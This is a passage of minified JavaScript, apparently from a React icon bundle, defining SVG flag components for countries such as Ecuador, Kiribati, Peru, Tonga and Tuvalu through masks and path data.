1.35.763Z"}),(0,s.createElement)("mask",{id:"EC_-_Ecuador_svg__c",width:6,height:7,x:5,y:3,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",stroke:"#fff",strokeWidth:.5,d:"M7.906 9c.548 0 1.021-.309 1.348-.763.327-.454.522-1.07.522-1.737 0-.668-.195-1.283-.522-1.737C8.927 4.309 8.454 4 7.906 4c-.549 0-1.022.309-1.35.763-.326.454-.52 1.07-.52 1.737 0 .668.194 1.283.52 1.737.328.454.801.763 1.35.763Z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#EC_-_Ecuador_svg__c)"},(0,s.createElement)("path",{fill:"#8DDD61",d:"M9.079 7.703s-.788-.43-1.014-.582c-.226-.153-.095-.494-.485-.403-.39.092-.702.25-.702.685 0 .435-.306.693-.41.396-.104-.297-.594-1.687 0-1.687s1.983.312 2.392.312c.409 0 .647.212.647.596a.73.73 0 0 1-.428.683Z"}),(0,s.createElement)("path",{fill:"#FEE901",d:"M7.905 5.441a.328.328 0 0 0 .325-.33.328.328 0 0 0-.325-.332.328.328 0 0 0-.324.331c0 .183.146.331.324.331Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M6.835 5.47s.377-.09.898.26c.52.351 1.783.551 1.783.276v.536s-2.802-.174-2.952 0c-.15.175-.165-.974 0-1.072.165-.097.27 0 .27 0Z"}))))),Aa=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"GY_-_Guyana_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#GY_-_Guyana_svg__a)"},(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",stroke:"#F7FCFF",d:"M.5 11.293V.707L15.498 6 .5 11.293Z"}),(0,s.createElement)("path",{fill:"#E11C1B",stroke:"#272727",d:"M-.5 11.978V.022L7.186 6-.5 11.978Z"}))),Ua=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"KI_-__Kiribati_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#KI_-__Kiribati_svg__a)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"KI_-__Kiribati_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#KI_-__Kiribati_svg__b)"},(0,s.createElement)("path",{fill:"#FFC84A",fillRule:"evenodd",d:"m7.662 8.588.229-.496.228.496.136-.528.315.447.038-.544.39.385-.06-.543.454.31-.157-.523.501.224-.248-.487.534.132-.332-.435.549.035-.406-.369.547-.063-.465-.291.527-.159-.51-.204.49-.25-.54-.11.437-.332-.55-.014.37-.403-.543.083.291-.462-.52.178.204-.507-.48.268.11-.535-.424.35.01-.547-.353.418-.087-.538-.273.474-.183-.515-.184.515-.272-.474-.088.538-.354-.418.011.546-.423-.349.109.535-.48-.268.204.507-.52-.178.292.462-.544-.083.37.403-.55.014.437.332-.539.11.49.25-.51.204.526.159-.465.291.547.063-.406.37.55-.036-.333.435.534-.132-.248.487.501-.224-.156.523.453-.31-.06.543.39-.385.038.544.315-.447.136.528Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M-.396 6.96.91 6.43a.781.781 0 0 1 .594.002l1.816.756c.205.085.437.079.638-.017l1.464-.703c.21-.1.454-.103.665-.005l1.534.709a.781.781 0 0 0 .652.001l1.57-.716a.781.781 0 0 1 .65.002l1.55.715a.781.781 0 0 0 .642.006l1.693-.746a.781.781 0 0 1 .58-.02l1.517.546v5.007H-.44l.045-5.007Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"KI_-__Kiribati_svg__c",width:18,height:6,x:-1,y:6,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M-.396 6.96.91 6.43a.781.781 0 0 1 .594.002l1.816.756c.205.085.437.079.638-.017l1.464-.703c.21-.1.454-.103.665-.005l1.534.709a.781.781 0 0 0 .652.001l1.57-.716a.781.781 0 0 1 .65.002l1.55.715a.781.781 0 0 0 .642.006l1.693-.746a.781.781 0 0 1 .58-.02l1.517.546v5.007H-.44l.045-5.007Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#KI_-__Kiribati_svg__c)"},(0,s.createElement)("path",{stroke:"#015989",d:"m-.396 8.123 1.307-.53a.781.781 0 0 1 .594.002l1.816.755c.205.086.437.08.638-.017l1.464-.702c.21-.101.454-.103.665-.005l1.534.708a.781.781 0 0 0 .652.002l1.57-.716a.781.781 0 0 1 .65.002l1.55.715a.78.78 0 0 0 .642.006l1.693-.746a.781.781 0 0 1 .58-.02l1.517.546M-.396 9.787l1.307-.53a.781.781 0 0 1 .594.002l1.816.756a.78.78 0 0 0 .638-.017l1.464-.703c.21-.1.454-.102.665-.005L7.622 10a.78.78 0 0 0 .652.001l1.57-.715a.781.781 0 0 1 .65.001l1.55.716a.78.78 0 0 0 .642.005l1.693-.745a.781.781 0 0 1 .58-.02l1.517.545"}),(0,s.createElement)("path",{fill:"#015989",fillRule:"evenodd",d:"m-.396 11.114.546-.222a2.781 2.781 0 0 1 2.114.01l1.057.44a.78.78 0 0 0 .638-.018l.615-.295a2.78 2.78 0 0 1 2.37-.017l.678.313a.78.78 0 0 0 .652.002l.734-.335a2.781 2.781 0 0 1 2.32.005l.716.33a.781.781 0 0 0 .642.007l.962-.424a2.782 2.782 0 0 1 2.062-.072l.766.276v1.657H-.304l-.092-1.657Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#FFC84A",fillRule:"evenodd",d:"M4.8 1.199s.713.143.947.143c.235 0 .763-.359 1.069-.24.306.12.894.685.894.685s.833-.625 1.34-.625c.506 0 1.437.068 1.437.068s-.215.557-.818.651c-.603.094-1.325.556-1.325.556h.98c.15 0 .645.277.645.277s-.702.222-.903.222h-.423s-.427.367-.955.289c-.527-.078-.896-.417-.896-.417s-.745-.049-.745-.128c0 0-.284-.146-.37 0-.086.145.37-.196.37-.196s.412-.334.551-.334c.14 0 .605.287.605.287l.111-.115-.576-.441C5.56 2.004 4.8 1.199 4.8 1.199Z",clipRule:"evenodd"})))),xa=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"NR_-_Nauru_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#NR_-_Nauru_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"NR_-_Nauru_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#NR_-_Nauru_svg__b)"},(0,s.createElement)("path",{fill:"#FECA00",d:"M0 4v2h16V4H0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"m4.415 9.79-.773 1.003-.035-1.266-1.215.357.715-1.044-1.192-.425 1.192-.425-.715-1.045 1.215.357.035-1.265.773 1.003.772-1.003.036 1.265 1.214-.357-.714 1.045 1.192.425-1.192.425.714 1.044-1.214-.357-.036 1.266-.772-1.003Z"})))),Ta=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"PY_-_Paraguay_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#PY_-_Paraguay_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"PY_-_Paraguay_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#PY_-_Paraguay_svg__b)"},(0,s.createElement)("path",{fill:"#272727",fillRule:"evenodd",d:"M6 6a2 2 0 1 0 4 0 2 2 0 0 0-4 0Zm3.5 0a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F05234",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#73BE4A",d:"m7.289 4.928.285.411c-.285.197-.37.47-.262.875.107.398.343.584.76.599l-.018.5c-.636-.023-1.061-.359-1.225-.97-.16-.6-.006-1.092.46-1.415Z"}),(0,s.createElement)("path",{fill:"#73BE4A",d:"m8.712 4.928-.284.411c.284.197.37.47.261.875-.106.398-.342.584-.76.599l.018.5c.636-.023 1.061-.359 1.225-.97.161-.6.007-1.092-.46-1.415Z"}),(0,s.createElement)("path",{fill:"#FBCD17",fillRule:"evenodd",d:"M8.001 6.374a.5.5 0 1 0 0-1 .5.5 0 0 0 0 1Z",clipRule:"evenodd"})))),Da=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"PE_-_Peru_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#PE_-_Peru_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M4 0h8.5v12H4V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F50101",fillRule:"evenodd",d:"M12 0h4v12h-4V0ZM0 0h4v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#A2BB6A",d:"m7.87 4.373.017.18c-.499.051-.768-.193-.768-.7 0-.502.263-.769.76-.772v.182c-.401.003-.587.19-.587.59 0 .398.18.56.579.52ZM8.092 4.373l-.017.18c.5.051.769-.193.769-.7 0-.502-.264-.769-.76-.772l-.001.182c.402.003.587.19.587.59 0 .398-.18.56-.578.52Z"}),(0,s.createElement)("mask",{id:"PE_-_Peru_svg__b",width:5,height:6,x:5.588,y:3.441,fill:"#000",maskUnits:"userSpaceOnUse"},(0,s.createElement)("path",{fill:"#fff",d:"M5.588 3.441h5v6h-5z"}),(0,s.createElement)("path",{fillRule:"evenodd",d:"m8.043 4.453.021-.012v.023c.096.053.339.178.496.178.2 0 .473-.201.473-.201l.456.643s-.307.643-.072 1.43c.234.785-.013 1.391-1.057 1.458 0 0-.206.04-.296.102v.057c0-.014-.008-.028-.02-.04-.014.012-.021.026-.021.04v-.057c-.09-.063-.296-.102-.296-.102C6.683 7.905 6.435 7.3 6.67 6.513c.235-.786-.072-1.429-.072-1.429l.456-.643s.272.2.472.2c.158 0 .4-.124.497-.177v-.023l.02.012Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#E8AA00",fillRule:"evenodd",d:"m8.043 4.453.021-.012v.023c.096.053.339.178.496.178.2 0 .473-.201.473-.201l.456.643s-.307.643-.072 1.43c.234.785-.013 1.391-1.057 1.458 0 0-.206.04-.296.102v.057c0-.014-.008-.028-.02-.04-.014.012-.021.026-.021.04v-.057c-.09-.063-.296-.102-.296-.102C6.683 7.905 6.435 7.3 6.67 6.513c.235-.786-.072-1.429-.072-1.429l.456-.643s.272.2.472.2c.158 0 .4-.124.497-.177v-.023l.02.012Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E8AA00",d:"M8.064 4.44h.5v-.88l-.756.451.256.43Zm-.02.013-.247.435.246.14.247-.14-.247-.435Zm.02.011h-.5v.295l.259.143.241-.438Zm.969-.023.408-.29-.295-.415-.41.303.297.402Zm.456.643.45.215.127-.264-.17-.24-.407.29Zm-.072 1.43-.48.142.48-.143ZM8.36 7.971l-.032-.499-.031.002-.03.006.093.491Zm-.296.102-.284-.412-.216.15v.262h.5Zm-.02.017.35-.357-.35-.344-.35.344.35.357Zm-.021-.017h.5v-.262l-.216-.15-.284.412Zm-.296-.102.093-.49-.03-.007-.031-.002-.032.5ZM6.598 5.084l-.408-.289-.17.24.127.264.451-.215Zm.456-.643.297-.402-.41-.303-.295.416.408.289Zm.969.023.241.438.259-.143v-.295h-.5Zm0-.023.256-.43-.756-.45v.88h.5Zm.041 0-.256-.43c.001 0 .001 0 0 0l-.011.007.493.87a2.254 2.254 0 0 0 .029-.017h.001l-.256-.43Zm.5.023v-.023h-1v.023h1Zm-.741.438c.056.031.16.086.277.134.101.041.278.106.46.106v-1c.021 0 .023.003 0-.003a.718.718 0 0 1-.082-.029 1.746 1.746 0 0 1-.172-.083l-.483.875Zm.737.24c.234 0 .447-.106.55-.16a2.074 2.074 0 0 0 .212-.133l.005-.004.002-.001v-.001a141.29 141.29 0 0 0-.593-.805h.001l-.003.002a.913.913 0 0 1-.18.099c-.026.008-.021.003.006.003v1Zm.065-.412.456.643.816-.578-.456-.643-.816.578Zm.864.354-.452-.215a.03.03 0 0 0-.001.003l-.002.004a.864.864 0 0 0-.02.046 2.605 2.605 0 0 0-.141.492c-.058.315-.081.755.065 1.242l.958-.286a1.666 1.666 0 0 1 .046-1.074l-.001.001V5.3l-.452-.215Zm-.551 1.572c.098.33.059.507.007.59-.043.068-.178.199-.617.227l.064.998c.605-.039 1.116-.244 1.399-.692.274-.434.24-.954.105-1.409l-.958.286ZM8.36 7.972a223.97 223.97 0 0 0-.093-.49h-.003a.353.353 0 0 0-.014.002 1.907 1.907 0 0 0-.139.034c-.063.018-.21.06-.331.144l.568.823c-.023.017-.035.019-.018.013a.583.583 0 0 1 .106-.03.842.842 0 0 1 .016-.004h.002l-.094-.492Zm.204.16v-.058h-1v.057h1Zm-.87.316a.443.443 0 0 1-.13-.317h1a.557.557 0 0 0-.17-.397l-.7.714Zm0-.714a.557.557 0 0 0-.171.397h1a.443.443 0 0 1-.13.317l-.7-.714Zm.829.397v-.057h-1v.057h1Zm-.796-.159-.094.492h.002a.864.864 0 0 1 .122.034c.017.006.005.004-.019-.013l.569-.823a1.143 1.143 0 0 0-.331-.144 2.103 2.103 0 0 0-.154-.036H7.82l-.094.49ZM6.19 6.37c-.136.455-.17.975.105 1.41.283.447.794.652 1.399.691l.064-.998c-.44-.028-.574-.16-.617-.228-.052-.082-.091-.258.007-.589l-.958-.286Zm.407-1.286-.451.215-.001-.002v-.001h-.001l.004.009a1.605 1.605 0 0 1 .081.289c.037.203.05.477-.039.776l.958.286a2.666 2.666 0 0 0-.096-1.78l-.002-.004V4.87H7.05l-.452.214Zm.048-.932-.456.643.816.578.456-.643-.816-.578Zm.88-.01c.028 0 .033.005.008-.003a1.073 1.073 0 0 1-.18-.099l-.005-.003a.007.007 0 0 1 .002.001l-.297.403-.297.402h.001l.002.002.005.004a1.259 1.259 0 0 0 .06.04c.037.025.09.059.152.092.102.055.316.16.55.16v-1Zm.255-.115c-.04.021-.105.056-.173.083a.718.718 0 0 1-.081.029c-.024.006-.021.003 0 .003v1c.182 0 .358-.065.46-.106.117-.048.22-.103.277-.134l-.483-.875Zm.742.437v-.023h-1v.023h1Zm-.5-.023-.256.43h.001a.19.19 0 0 0 .008.005l.02.012.494-.87-.01-.006-.002-.001-.255.43Z",mask:"url(#PE_-_Peru_svg__b)"}),(0,s.createElement)("mask",{id:"PE_-_Peru_svg__d",width:5,height:6,x:6,y:3,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("mask",{id:"PE_-_Peru_svg__c",width:5,height:6,x:5.588,y:3.441,fill:"#000",maskUnits:"userSpaceOnUse"},(0,s.createElement)("path",{fill:"#fff",d:"M5.588 3.441h5v6h-5z"}),(0,s.createElement)("path",{fillRule:"evenodd",d:"m8.043 4.453.021-.012v.023c.096.053.339.178.496.178.2 0 .473-.201.473-.201l.456.643s-.307.643-.072 1.43c.234.785-.013 1.391-1.057 1.458 0 0-.206.04-.296.102v.057c0-.014-.008-.028-.02-.04-.014.012-.021.026-.021.04v-.057c-.09-.063-.296-.102-.296-.102C6.683 7.905 6.435 7.3 6.67 6.513c.235-.786-.072-1.429-.072-1.429l.456-.643s.272.2.472.2c.158 0 .4-.124.497-.177v-.023l.02.012Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"m8.043 4.453.021-.012v.023c.096.053.339.178.496.178.2 0 .473-.201.473-.201l.456.643s-.307.643-.072 1.43c.234.785-.013 1.391-1.057 1.458 0 0-.206.04-.296.102v.057c0-.014-.008-.028-.02-.04-.014.012-.021.026-.021.04v-.057c-.09-.063-.296-.102-.296-.102C6.683 7.905 6.435 7.3 6.67 6.513c.235-.786-.072-1.429-.072-1.429l.456-.643s.272.2.472.2c.158 0 .4-.124.497-.177v-.023l.02.012Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",d:"M8.064 4.44h.5v-.88l-.756.451.256.43Zm-.02.013-.247.435.246.14.247-.14-.247-.435Zm.02.011h-.5v.295l.259.143.241-.438Zm.969-.023.408-.29-.295-.415-.41.303.297.402Zm.456.643.45.215.127-.264-.17-.24-.407.29Zm-.072 1.43-.48.142.48-.143ZM8.36 7.971l-.032-.499-.031.002-.03.006.093.491Zm-.296.102-.284-.412-.216.15v.262h.5Zm-.02.017.35-.357-.35-.344-.35.344.35.357Zm-.021-.017h.5v-.262l-.216-.15-.284.412Zm-.296-.102.093-.49-.03-.007-.031-.002-.032.5ZM6.598 5.084l-.408-.289-.17.24.127.264.451-.215Zm.456-.643.297-.402-.41-.303-.295.416.408.289Zm.969.023.241.438.259-.143v-.295h-.5Zm0-.023.256-.43-.756-.45v.88h.5Zm.041 0-.256-.43c.001 0 .001 0 0 0l-.011.007.493.87a2.254 2.254 0 0 0 .029-.017h.001l-.256-.43Zm.5.023v-.023h-1v.023h1Zm-.741.438c.056.031.16.086.277.134.101.041.278.106.46.106v-1c.021 0 .023.003 0-.003a.718.718 0 0 1-.082-.029 1.746 1.746 0 0 1-.172-.083l-.483.875Zm.737.24c.234 0 .447-.106.55-.16a2.074 2.074 0 0 0 .212-.133l.005-.004.002-.001v-.001a141.29 141.29 0 0 0-.593-.805h.001l-.003.002a.913.913 0 0 1-.18.099c-.026.008-.021.003.006.003v1Zm.065-.412.456.643.816-.578-.456-.643-.816.578Zm.864.354-.452-.215a.03.03 0 0 0-.001.003l-.002.004a.864.864 0 0 0-.02.046 2.605 2.605 0 0 0-.141.492c-.058.315-.081.755.065 1.242l.958-.286a1.666 1.666 0 0 1 .046-1.074l-.001.001V5.3l-.452-.215Zm-.551 1.572c.098.33.059.507.007.59-.043.068-.178.199-.617.227l.064.998c.605-.039 1.116-.244 1.399-.692.274-.434.24-.954.105-1.409l-.958.286ZM8.36 7.972a223.97 223.97 0 0 0-.093-.49h-.003a.353.353 0 0 0-.014.002 1.907 1.907 0 0 0-.139.034c-.063.018-.21.06-.331.144l.568.823c-.023.017-.035.019-.018.013a.583.583 0 0 1 .106-.03.842.842 0 0 1 .016-.004h.002l-.094-.492Zm.204.16v-.058h-1v.057h1Zm-.87.316a.443.443 0 0 1-.13-.317h1a.557.557 0 0 0-.17-.397l-.7.714Zm0-.714a.557.557 0 0 0-.171.397h1a.443.443 0 0 1-.13.317l-.7-.714Zm.829.397v-.057h-1v.057h1Zm-.796-.159-.094.492h.002a.864.864 0 0 1 .122.034c.017.006.005.004-.019-.013l.569-.823a1.143 1.143 0 0 0-.331-.144 2.103 2.103 0 0 0-.154-.036H7.82l-.094.49ZM6.19 6.37c-.136.455-.17.975.105 1.41.283.447.794.652 1.399.691l.064-.998c-.44-.028-.574-.16-.617-.228-.052-.082-.091-.258.007-.589l-.958-.286Zm.407-1.286-.451.215-.001-.002v-.001h-.001l.004.009a1.605 1.605 0 0 1 .081.289c.037.203.05.477-.039.776l.958.286a2.666 2.666 0 0 0-.096-1.78l-.002-.004V4.87H7.05l-.452.214Zm.048-.932-.456.643.816.578.456-.643-.816-.578Zm.88-.01c.028 0 .033.005.008-.003a1.073 1.073 0 0 1-.18-.099l-.005-.003a.007.007 0 0 1 .002.001l-.297.403-.297.402h.001l.002.002.005.004a1.259 1.259 0 0 0 .06.04c.037.025.09.059.152.092.102.055.316.16.55.16v-1Zm.255-.115c-.04.021-.105.056-.173.083a.718.718 0 0 1-.081.029c-.024.006-.021.003 0 .003v1c.182 0 .358-.065.46-.106.117-.048.22-.103.277-.134l-.483-.875Zm.742.437v-.023h-1v.023h1Zm-.5-.023-.256.43h.001a.19.19 0 0 0 .008.005l.02.012.494-.87-.01-.006-.002-.001-.255.43Z",mask:"url(#PE_-_Peru_svg__c)"})),(0,s.createElement)("g",{mask:"url(#PE_-_Peru_svg__d)"},(0,s.createElement)("path",{fill:"#67BAFF",d:"M6.652 4.364h1.391v1.909H6.652z"}),(0,s.createElement)("path",{fill:"#fff",d:"M8.043 4.364h1.391v1.909H8.043z"}),(0,s.createElement)("path",{fill:"#C51918",d:"M6.478 6.455h3.478v2.182H6.478z"}),(0,s.createElement)("path",{fill:"#C9A951",d:"M8.717 6.137h-.174V4.83h.174v1.307Z"}),(0,s.createElement)("path",{fill:"#C9A951",d:"m8.647 5.543-.085.152-.3-.168.085-.152.3.168ZM8.647 5.18l-.085.151-.3-.168.085-.151.3.167Z"}),(0,s.createElement)("path",{fill:"#C9A951",d:"m8.61 5.543.085.152.3-.168-.085-.152-.3.168ZM8.61 5.18l.085.151.3-.168-.085-.151-.3.167Z"}),(0,s.createElement)("path",{fill:"#D18219",fillRule:"evenodd",d:"M7.688 4.785c-.105.092-.037.427-.209.427s-.413-.251-.474-.086c-.061.166 0 .11 0 .251 0 .141-.146.533-.073.6.073.066.147.24.134.159-.013-.082-.068-.202-.045-.333-.022-.134.123-.264.123-.264s-.016.14-.027.192c0 0-.048.105-.028.175 0 0 .049.197.069.21 0 0 .013-.465.028-.542.015-.077.122.086.157.068 0 0 .012.319-.006.357 0 0-.038.075-.024.1 0 0 .035.087.065.061l.016-.087s-.018-.051.01-.168c0 0 .028-.257.04-.201 0 0-.005.121.009.184 0 0 .021.155.026.172 0 0 .105.15.108.087 0 0-.101-.12-.08-.212 0 0-.057-.258.023-.316 0 0 .214-.099.226-.267 0 0 .031-.193.037-.281 0 0-.047-.026.05-.072 0 0 .155-.06.058-.143",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#00A854",d:"m6.1 3.843.387.31c-.504.829-.387 1.609-.387 2.11 0 .925.695 1.992 1.905 1.992.9 0 1.878-.7 2.109-1.556.181-.674-.236-2.257-.55-2.67l.372-.186c.488.642 1.414 2.111 1.143 3.116-.352 1.306-1.735 2.296-3.074 2.296C6.13 9.255 5.1 7.673 5.1 6.263c0-.716.41-1.449 1-2.42Z"}),(0,s.createElement)("path",{fill:"#FDD200",fillRule:"evenodd",d:"M8 7.6c.552 0 1-.224 1-.5s-.448-.5-1-.5-1 .224-1 .5.448.5 1 .5Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#CA0000",d:"M6.5 8h3v1h-3z"}))),La=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"TO_-_Tonga_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#TO_-_Tonga_svg__a)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"TO_-_Tonga_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#TO_-_Tonga_svg__b)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 0h9v8H0z"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M6 1H4v2H2v2h2v2h2V5h2V3H6V1Z",clipRule:"evenodd"})))),Na=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"TV_-_Tuvalu_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#TV_-_Tuvalu_svg__a)"},(0,s.createElement)("path",{fill:"#00B4FF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"TV_-_Tuvalu_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#TV_-_Tuvalu_svg__b)"},(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 0h9v7H0z"}),(0,s.createElement)("mask",{id:"TV_-_Tuvalu_svg__c",width:9,height:7,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h9v7H0z"})),(0,s.createElement)("g",{mask:"url(#TV_-_Tuvalu_svg__c)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"m-1.002 6.5 1.98.868L9.045.944l1.045-1.29-2.118-.29-3.29 2.768-2.649 1.865L-1.002 6.5Z"}),(0,s.createElement)("path",{fill:"#F50100",d:"m-.731 7.108 1.009.505 9.436-8.08H8.298L-.731 7.109Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"m10.002 6.5-1.98.868L-.045.944-1.09-.346l2.118-.29 3.29 2.768 2.649 1.865L10.002 6.5Z"}),(0,s.createElement)("path",{fill:"#F50100",d:"m9.935 6.937-1.01.504-4.018-3.46-1.19-.386L-1.19-.342H.227L5.13 3.502l1.303.463 3.502 2.972Z"}),(0,s.createElement)("mask",{id:"TV_-_Tuvalu_svg__d",width:11,height:9,x:-1,y:-1,fill:"#000",maskUnits:"userSpaceOnUse"},(0,s.createElement)("path",{fill:"#fff",d:"M-1-1h11v9H-1z"}),(0,s.createElement)("path",{fillRule:"evenodd",d:"M4.992 0h-1v3H0v1h3.992v3h1V4H9V3H4.992V0Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#F50100",fillRule:"evenodd",d:"M4.992 0h-1v3H0v1h3.992v3h1V4H9V3H4.992V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M3.992 0v-.75h-.75V0h.75Zm1 0h.75v-.75h-.75V0Zm-1 3v.75h.75V3h-.75ZM0 3v-.75h-.75V3H0Zm0 1h-.75v.75H0V4Zm3.992 0h.75v-.75h-.75V4Zm0 3h-.75v.75h.75V7Zm1 0v.75h.75V7h-.75Zm0-3v-.75h-.75V4h.75ZM9 4v.75h.75V4H9Zm0-1h.75v-.75H9V3ZM4.992 3h-.75v.75h.75V3Zm-1-2.25h1v-1.5h-1v1.5ZM4.742 3V0h-1.5v3h1.5ZM0 3.75h3.992v-1.5H0v1.5ZM.75 4V3h-1.5v1h1.5Zm3.242-.75H0v1.5h3.992v-1.5ZM4.742 7V4h-1.5v3h1.5Zm.25-.75h-1v1.5h1v-1.5ZM4.242 4v3h1.5V4h-1.5ZM9 3.25H4.992v1.5H9v-1.5ZM8.25 3v1h1.5V3h-1.5Zm-3.258.75H9v-1.5H4.992v1.5ZM4.242 0v3h1.5V0h-1.5Z",mask:"url(#TV_-_Tuvalu_svg__d)"})),(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",d:"m13.428 5.342.304-.562.666-.02-.516-.43.178-.582-.444.267-.562-.34.054.645-.504.302.654.082.17.638Zm-1.696.438-.304.562-.17-.638-.654-.082.504-.302-.054-.646.562.34.444-.266-.178.581.516.43-.666.02Zm-1.304 